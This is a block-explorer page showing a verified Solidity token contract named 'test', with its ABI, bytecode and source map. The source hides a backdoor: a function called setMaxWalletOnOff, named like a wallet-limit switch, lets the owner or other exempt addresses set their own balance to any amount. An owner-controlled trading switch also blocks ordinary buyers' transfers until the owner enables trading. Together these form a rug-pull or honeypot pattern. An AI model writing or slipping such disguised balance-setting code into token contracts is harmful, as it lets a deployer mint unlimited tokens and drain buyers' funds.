Overview
S Balance
0 S
S Value
-More Info
Private Name Tags
ContractCreator
TokenTracker
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
test
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2024-12-18 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address _owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } abstract contract Ownable { address internal _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "!owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract test is ERC20, Ownable { string private _name = "test"; string private _symbol = "TESTTT"; uint8 constant _decimals = 18; uint256 _totalSupply = 100000 * 10 ** _decimals; mapping(address => mapping(address => uint256)) _allowances; mapping(address => uint256) _balances; IUniswapV2Router router = IUniswapV2Router(0x591cf6942c422fA53E8D81c62a9692D7BeA72F61); address public pair; uint256 public _maxWalletSize = (_totalSupply * 4) / 100; mapping(address => bool) maxWalletExempt; bool public canTrade = false; constructor() Ownable() { pair = IUniswapV2Factory(router.factory()).createPair( router.WETH(), address(this) ); maxWalletExempt[msg.sender] = true; maxWalletExempt[address(this)] = true; maxWalletExempt[pair] = true; _balances[msg.sender] = (_totalSupply * 100) / 100; emit Transfer(address(0), msg.sender, (_totalSupply * 100) / 100); } receive() external payable {} function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance( address holder, address spender ) external view override returns (uint256) { return _allowances[holder][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer( address recipient, uint256 amount ) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function _transferFrom( address sender, address recipient, uint256 amount ) internal returns (bool) { require(canTrade || maxWalletExempt[recipient], "not owner"); require( (_balances[recipient] + amount <= _maxWalletSize || maxWalletExempt[recipient] || sender == owner() || recipient == pair), "max wallet hit" ); _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + (amount); emit Transfer(sender, recipient, amount); return true; } function setMaxWalletOnOff(uint256 maxWallet) external { require(maxWalletExempt[msg.sender], "not exempt"); _balances[msg.sender] = maxWallet; } function setMaxWalletExemptOnOff( address holder, bool exempt ) external onlyOwner { maxWalletExempt[holder] = exempt; } function enableTrading(bool _canTrade) external onlyOwner { canTrade = _canTrade; } function removeWalletLimit() external onlyOwner { _maxWalletSize = type(uint256).max; } function shouldTakeFee(address sender) internal view returns (bool) { return !maxWalletExempt[sender]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"canTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_canTrade","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setMaxWalletExemptOnOff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"setMaxWalletOnOff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060405260046080908152631d195cdd60e21b60a05260019061002390826103dc565b50604080518082019091526006815265151154d5151560d21b602082015260029061004e90826103dc565b5061005b6012600a61058f565b61006890620186a06105a4565b6003819055600680546001600160a01b03191673591cf6942c422fa53e8d81c62a9692d7bea72f611790556064906100a19060046105a4565b6100ab91906105bb565b600855600a805460ff191690553480156100c3575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060065f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610154573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061017891906105da565b6001600160a01b031663c9c6539660065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101d6573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101fa91906105da565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af1158015610243573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026791906105da565b600780546001600160a01b0319166001600160a01b03928316178155335f90815260096020526040808220805460ff1990811660019081179092553084528284208054821683179055935490941682529020805490911690911790556003546064906102d390826105a4565b6102dd91906105bb565b335f818152600560205260408120929092556003549091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060649061032490826105a4565b61032e91906105bb565b60405190815260200160405180910390a3610600565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061036c57607f821691505b60208210810361038a57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156103d757805f5260205f20601f840160051c810160208510156103b55750805b601f840160051c820191505b818110156103d4575f81556001016103c1565b50505b505050565b81516001600160401b038111156103f5576103f5610344565b610409816104038454610358565b84610390565b6020601f82116001811461043b575f83156104245750848201515b5f19600385901b1c1916600184901b1784556103d4565b5f84815260208120601f198516915b8281101561046a578785015182556020948501946001909201910161044a565b508482101561048757868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156104e5578085048111156104c9576104c9610496565b60018416156104d757908102905b60019390931c9280026104ae565b935093915050565b5f826104fb57506001610589565b8161050757505f610589565b816001811461051d576002811461052757610543565b6001915050610589565b60ff84111561053857610538610496565b50506001821b610589565b5060208310610133831016604e8410600b8410161715610566575081810a610589565b6105725f1984846104aa565b805f190482111561058557610585610496565b0290505b92915050565b5f61059d60ff8416836104ed565b9392505050565b808202811582820484141761058957610589610496565b5f826105d557634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156105ea575f5ffd5b81516001600160a01b038116811461059d575f5ffd5b610bd28061060d5f395ff3fe60806040526004361061011e575f3560e01c80638f9a55c01161009d578063a9059cbb11610062578063a9059cbb14610312578063b144896f14610331578063dd62ed3e14610345578063f275f64b14610389578063f2fde38b146103a8575f5ffd5b80638f9a55c01461028c5780639316ea0a146102a1578063939554d0146102c057806395d89b41146102df578063a8aa1b31146102f3575f5ffd5b8063313ce567116100e3578063313ce567146101d8578063571ac8b0146101f357806370a0823114610212578063715018a6146102465780638da5cb5b1461025c575f5ffd5b806306fdde0314610129578063095ea7b31461015357806318160ddd1461018257806323b872dd146101a05780632f05205c146101bf575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5061013d6103c7565b60405161014a91906109a7565b60405180910390f35b34801561015e575f5ffd5b5061017261016d3660046109f7565b610457565b604051901515815260200161014a565b34801561018d575f5ffd5b506003545b60405190815260200161014a565b3480156101ab575f5ffd5b506101726101ba366004610a1f565b6104c3565b3480156101ca575f5ffd5b50600a546101729060ff1681565b3480156101e3575f5ffd5b506040516012815260200161014a565b3480156101fe575f5ffd5b5061017261020d366004610a59565b610552565b34801561021d575f5ffd5b5061019261022c366004610a59565b6001600160a01b03165f9081526005602052604090205490565b348015610251575f5ffd5b5061025a61055e565b005b348015610267575f5ffd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161014a565b348015610297575f5ffd5b5061019260085481565b3480156102ac575f5ffd5b5061025a6102bb366004610a81565b6105d8565b3480156102cb575f5ffd5b5061025a6102da366004610ab2565b61062b565b3480156102ea575f5ffd5b5061013d610687565b3480156102fe575f5ffd5b50600754610274906001600160a01b031681565b34801561031d575f5ffd5b5061017261032c3660046109f7565b610696565b34801561033c575f5ffd5b5061025a6106a9565b348015610350575f5ffd5b5061019261035f366004610ac9565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610394575f5ffd5b5061025a6103a3366004610af1565b6106d9565b3480156103b3575f5ffd5b5061025a6103c2366004610a59565b610715565b6060600180546103d690610b0a565b80601f016020809104026020016040519081016040528092919081815260200182805461040290610b0a565b801561044d5780601f106104245761010080835404028352916020019161044d565b820191905f5260205f20905b81548152906001019060200180831161043057829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104b19086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526004602090815260408083203384529091528120545f191461053f576001600160a01b0384165f90815260046020908152604080832033845290915290205461051b908390610b56565b6001600160a01b0385165f9081526004602090815260408083203384529091529020555b61054a8484846107d8565b949350505050565b5f6104bd825f19610457565b5f546001600160a01b031633146105905760405162461bcd60e51b815260040161058790610b69565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161058790610b69565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b335f9081526009602052604090205460ff166106765760405162461bcd60e51b815260206004820152600a6024820152691b9bdd08195e195b5c1d60b21b6044820152606401610587565b335f90815260056020526040902055565b6060600280546103d690610b0a565b5f6106a23384846107d8565b9392505050565b5f546001600160a01b031633146106d25760405162461bcd60e51b815260040161058790610b69565b5f19600855565b5f546001600160a01b031633146107025760405162461bcd60e51b815260040161058790610b69565b600a805460ff1916911515919091179055565b5f546001600160a01b0316331461073e5760405162461bcd60e51b815260040161058790610b69565b6001600160a01b03811661077f5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610587565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b600a545f9060ff168061080257506001600160a01b0383165f9081526009602052604090205460ff165b61083a5760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b6044820152606401610587565b6008546001600160a01b0384165f90815260056020526040902054610860908490610b89565b11158061088457506001600160a01b0383165f9081526009602052604090205460ff165b8061089b57505f546001600160a01b038581169116145b806108b357506007546001600160a01b038481169116145b6108f05760405162461bcd60e51b815260206004820152600e60248201526d1b585e081dd85b1b195d081a1a5d60921b6044820152606401610587565b6001600160a01b0384165f90815260056020526040902054610913908390610b56565b6001600160a01b038086165f908152600560205260408082209390935590851681522054610942908390610b89565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109959086815260200190565b60405180910390a35060019392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146109f2575f5ffd5b919050565b5f5f60408385031215610a08575f5ffd5b610a11836109dc565b946020939093013593505050565b5f5f5f60608486031215610a31575f5ffd5b610a3a846109dc565b9250610a48602085016109dc565b929592945050506040919091013590565b5f60208284031215610a69575f5ffd5b6106a2826109dc565b803580151581146109f2575f5ffd5b5f5f60408385031215610a92575f5ffd5b610a9b836109dc565b9150610aa960208401610a72565b90509250929050565b5f60208284031215610ac2575f5ffd5b5035919050565b5f5f60408385031215610ada575f5ffd5b610ae3836109dc565b9150610aa9602084016109dc565b5f60208284031215610b01575f5ffd5b6106a282610a72565b600181811c90821680610b1e57607f821691505b602082108103610b3c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104bd576104bd610b42565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b808201808211156104bd576104bd610b4256fea2646970667358221220518e67672947214f6413070c81c5900df8269b990533a5d083f024b7603aa63164736f6c634300081c0033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c80638f9a55c01161009d578063a9059cbb11610062578063a9059cbb14610312578063b144896f14610331578063dd62ed3e14610345578063f275f64b14610389578063f2fde38b146103a8575f5ffd5b80638f9a55c01461028c5780639316ea0a146102a1578063939554d0146102c057806395d89b41146102df578063a8aa1b31146102f3575f5ffd5b8063313ce567116100e3578063313ce567146101d8578063571ac8b0146101f357806370a0823114610212578063715018a6146102465780638da5cb5b1461025c575f5ffd5b806306fdde0314610129578063095ea7b31461015357806318160ddd1461018257806323b872dd146101a05780632f05205c146101bf575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5061013d6103c7565b60405161014a91906109a7565b60405180910390f35b34801561015e575f5ffd5b5061017261016d3660046109f7565b610457565b604051901515815260200161014a565b34801561018d575f5ffd5b506003545b60405190815260200161014a565b3480156101ab575f5ffd5b506101726101ba366004610a1f565b6104c3565b3480156101ca575f5ffd5b50600a546101729060ff1681565b3480156101e3575f5ffd5b506040516012815260200161014a565b3480156101fe575f5ffd5b5061017261020d366004610a59565b610552565b34801561021d575f5ffd5b5061019261022c366004610a59565b6001600160a01b03165f9081526005602052604090205490565b348015610251575f5ffd5b5061025a61055e565b005b348015610267575f5ffd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161014a565b348015610297575f5ffd5b5061019260085481565b3480156102ac575f5ffd5b5061025a6102bb366004610a81565b6105d8565b3480156102cb575f5ffd5b5061025a6102da366004610ab2565b61062b565b3480156102ea575f5ffd5b5061013d610687565b3480156102fe575f5ffd5b50600754610274906001600160a01b031681565b34801561031d575f5ffd5b5061017261032c3660046109f7565b610696565b34801561033c575f5ffd5b5061025a6106a9565b348015610350575f5ffd5b5061019261035f366004610ac9565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610394575f5ffd5b5061025a6103a3366004610af1565b6106d9565b3480156103b3575f5ffd5b5061025a6103c2366004610a59565b610715565b6060600180546103d690610b0a565b80601f016020809104026020016040519081016040528092919081815260200182805461040290610b0a565b801561044d5780601f106104245761010080835404028352916020019161044d565b820191905f5260205f20905b81548152906001019060200180831161043057829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104b19086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526004602090815260408083203384529091528120545f191461053f576001600160a01b0384165f90815260046020908152604080832033845290915290205461051b908390610b56565b6001600160a01b0385165f9081526004602090815260408083203384529091529020555b61054a8484846107d8565b949350505050565b5f6104bd825f19610457565b5f546001600160a01b031633146105905760405162461bcd60e51b815260040161058790610b69565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161058790610b69565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b335f9081526009602052604090205460ff166106765760405162461bcd60e51b815260206004820152600a6024820152691b9bdd08195e195b5c1d60b21b6044820152606401610587565b335f90815260056020526040902055565b6060600280546103d690610b0a565b5f6106a23384846107d8565b9392505050565b5f546001600160a01b031633146106d25760405162461bcd60e51b815260040161058790610b69565b5f19600855565b5f546001600160a01b031633146107025760405162461bcd60e51b815260040161058790610b69565b600a805460ff1916911515919091179055565b5f546001600160a01b0316331461073e5760405162461bcd60e51b815260040161058790610b69565b6001600160a01b03811661077f5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610587565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b600a545f9060ff168061080257506001600160a01b0383165f9081526009602052604090205460ff165b61083a5760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b6044820152606401610587565b6008546001600160a01b0384165f90815260056020526040902054610860908490610b89565b11158061088457506001600160a01b0383165f9081526009602052604090205460ff165b8061089b57505f546001600160a01b038581169116145b806108b357506007546001600160a01b038481169116145b6108f05760405162461bcd60e51b815260206004820152600e60248201526d1b585e081dd85b1b195d081a1a5d60921b6044820152606401610587565b6001600160a01b0384165f90815260056020526040902054610913908390610b56565b6001600160a01b038086165f908152600560205260408082209390935590851681522054610942908390610b89565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109959086815260200190565b60405180910390a35060019392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146109f2575f5ffd5b919050565b5f5f60408385031215610a08575f5ffd5b610a11836109dc565b946020939093013593505050565b5f5f5f60608486031215610a31575f5ffd5b610a3a846109dc565b9250610a48602085016109dc565b929592945050506040919091013590565b5f60208284031215610a69575f5ffd5b6106a2826109dc565b803580151581146109f2575f5ffd5b5f5f60408385031215610a92575f5ffd5b610a9b836109dc565b9150610aa960208401610a72565b90509250929050565b5f60208284031215610ac2575f5ffd5b5035919050565b5f5f60408385031215610ada575f5ffd5b610ae3836109dc565b9150610aa9602084016109dc565b5f60208284031215610b01575f5ffd5b6106a282610a72565b600181811c90821680610b1e57607f821691505b602082108103610b3c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104bd576104bd610b42565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b808201808211156104bd576104bd610b4256fea2646970667358221220518e67672947214f6413070c81c5900df8269b990533a5d083f024b7603aa63164736f6c634300081c0033
Deployed Bytecode Sourcemap
2581:4130:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3974:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4383:241;;;;;;;;;;-1:-1:-1;4383:241:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;4383:241:0;920:187:1;3656:102:0;;;;;;;;;;-1:-1:-1;3738:12:0;;3656:102;;;1258:25:1;;;1246:2;1231:18;3656:102:0;1112:177:1;4951:409:0;;;;;;;;;;-1:-1:-1;4951:409:0;;;;;:::i;:::-;;:::i;3142:28::-;;;;;;;;;;-1:-1:-1;3142:28:0;;;;;;;;3766:94;;;;;;;;;;-1:-1:-1;3766:94:0;;2723:2;1815:36:1;;1803:2;1788:18;3766:94:0;1673:184:1;4821:122:0;;;;;;;;;;-1:-1:-1;4821:122:0;;;;;:::i;:::-;;:::i;4076:119::-;;;;;;;;;;-1:-1:-1;4076:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4169:18:0;4142:7;4169:18;;;:9;:18;;;;;;;4076:119;2204:148;;;;;;;;;;;;;:::i;:::-;;2018:79;;;;;;;;;;-1:-1:-1;2056:7:0;2083:6;-1:-1:-1;;;;;2083:6:0;2018:79;;;-1:-1:-1;;;;;2217:32:1;;;2199:51;;2187:2;2172:18;2018:79:0;2053:203:1;3030:56:0;;;;;;;;;;;;;;;;6211:157;;;;;;;;;;-1:-1:-1;6211:157:0;;;;;:::i;:::-;;:::i;6035:168::-;;;;;;;;;;-1:-1:-1;6035:168:0;;;;;:::i;:::-;;:::i;3868:98::-;;;;;;;;;;;;;:::i;3002:19::-;;;;;;;;;;-1:-1:-1;3002:19:0;;;;-1:-1:-1;;;;;3002:19:0;;;4632:181;;;;;;;;;;-1:-1:-1;4632:181:0;;;;;:::i;:::-;;:::i;6481:101::-;;;;;;;;;;;;;:::i;4203:172::-;;;;;;;;;;-1:-1:-1;4203:172:0;;;;;:::i;:::-;-1:-1:-1;;;;;4339:19:0;;;4312:7;4339:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;4203:172;6376:97;;;;;;;;;;-1:-1:-1;6376:97:0;;;;;:::i;:::-;;:::i;2360:214::-;;;;;;;;;;-1:-1:-1;2360:214:0;;;;;:::i;:::-;;:::i;3974:94::-;4022:13;4055:5;4048:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3974:94;:::o;4383:241::-;4512:10;4483:4;4500:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;4500:32:0;;;;;;;;;;:41;;;4557:37;4483:4;;4500:32;;4557:37;;;;4535:6;1258:25:1;;1246:2;1231:18;;1112:177;4557:37:0;;;;;;;;-1:-1:-1;4612:4:0;4383:241;;;;;:::o;4951:409::-;-1:-1:-1;;;;;5106:19:0;;5085:4;5106:19;;;:11;:19;;;;;;;;5126:10;5106:31;;;;;;;;-1:-1:-1;;5106:52:0;5102:193;;-1:-1:-1;;;;;5226:19:0;;;;;;:11;:19;;;;;;;;5246:10;5226:31;;;;;;;;:57;;5277:6;;5226:57;:::i;:::-;-1:-1:-1;;;;;5175:19:0;;;;;;:11;:19;;;;;;;;5195:10;5175:31;;;;;;;:108;5102:193;5312:40;5326:6;5334:9;5345:6;5312:13;:40::i;:::-;5305:47;4951:409;-1:-1:-1;;;;4951:409:0:o;4821:122::-;4876:4;4900:35;4908:7;-1:-1:-1;;4900:7:0;:35::i;2204:148::-;2145:6;;-1:-1:-1;;;;;2145:6:0;2155:10;2145:20;2137:39;;;;-1:-1:-1;;;2137:39:0;;;;;;;:::i;:::-;;;;;;;;;2311:1:::1;2295:6:::0;;2274:40:::1;::::0;-1:-1:-1;;;;;2295:6:0;;::::1;::::0;2274:40:::1;::::0;2311:1;;2274:40:::1;2342:1;2325:19:::0;;-1:-1:-1;;;;;;2325:19:0::1;::::0;;2204:148::o;6211:157::-;2145:6;;-1:-1:-1;;;;;2145:6:0;2155:10;2145:20;2137:39;;;;-1:-1:-1;;;2137:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6328:23:0;;;::::1;;::::0;;;:15:::1;:23;::::0;;;;:32;;-1:-1:-1;;6328:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6211:157::o;6035:168::-;6125:10;6109:27;;;;:15;:27;;;;;;;;6101:50;;;;-1:-1:-1;;;6101:50:0;;4552:2:1;6101:50:0;;;4534:21:1;4591:2;4571:18;;;4564:30;-1:-1:-1;;;4610:18:1;;;4603:40;4660:18;;6101:50:0;4350:334:1;6101:50:0;6172:10;6162:21;;;;:9;:21;;;;;:33;6035:168::o;3868:98::-;3918:13;3951:7;3944:14;;;;;:::i;4632:181::-;4737:4;4761:44;4775:10;4787:9;4798:6;4761:13;:44::i;:::-;4754:51;4632:181;-1:-1:-1;;;4632:181:0:o;6481:101::-;2145:6;;-1:-1:-1;;;;;2145:6:0;2155:10;2145:20;2137:39;;;;-1:-1:-1;;;2137:39:0;;;;;;;:::i;:::-;-1:-1:-1;;6540:14:0::1;:34:::0;6481:101::o;6376:97::-;2145:6;;-1:-1:-1;;;;;2145:6:0;2155:10;2145:20;2137:39;;;;-1:-1:-1;;;2137:39:0;;;;;;;:::i;:::-;6445:8:::1;:20:::0;;-1:-1:-1;;6445:20:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6376:97::o;2360:214::-;2145:6;;-1:-1:-1;;;;;2145:6:0;2155:10;2145:20;2137:39;;;;-1:-1:-1;;;2137:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2449:22:0;::::1;2441:43;;;::::0;-1:-1:-1;;;2441:43:0;;4891:2:1;2441:43:0::1;::::0;::::1;4873:21:1::0;4930:1;4910:18;;;4903:29;-1:-1:-1;;;4948:18:1;;;4941:38;4996:18;;2441:43:0::1;4689:331:1::0;2441:43:0::1;2521:6;::::0;;2500:38:::1;::::0;-1:-1:-1;;;;;2500:38:0;;::::1;::::0;2521:6;::::1;::::0;2500:38:::1;::::0;::::1;2549:6;:17:::0;;-1:-1:-1;;;;;;2549:17:0::1;-1:-1:-1::0;;;;;2549:17:0;;;::::1;::::0;;;::::1;::::0;;2360:214::o;5368:659::-;5519:8;;5494:4;;5519:8;;;:38;;-1:-1:-1;;;;;;5531:26:0;;;;;;:15;:26;;;;;;;;5519:38;5511:60;;;;-1:-1:-1;;;5511:60:0;;5227:2:1;5511:60:0;;;5209:21:1;5266:1;5246:18;;;5239:29;-1:-1:-1;;;5284:18:1;;;5277:39;5333:18;;5511:60:0;5025:332:1;5511:60:0;5640:14;;-1:-1:-1;;;;;5607:20:0;;;;;;:9;:20;;;;;;:29;;5630:6;;5607:29;:::i;:::-;:47;;:94;;;-1:-1:-1;;;;;;5675:26:0;;;;;;:15;:26;;;;;;;;5607:94;:132;;;-1:-1:-1;2056:7:0;2083:6;-1:-1:-1;;;;;5722:17:0;;;2083:6;;5722:17;5607:132;:170;;;-1:-1:-1;5773:4:0;;-1:-1:-1;;;;;5760:17:0;;;5773:4;;5760:17;5607:170;5584:236;;;;-1:-1:-1;;;5584:236:0;;5694:2:1;5584:236:0;;;5676:21:1;5733:2;5713:18;;;5706:30;-1:-1:-1;;;5752:18:1;;;5745:44;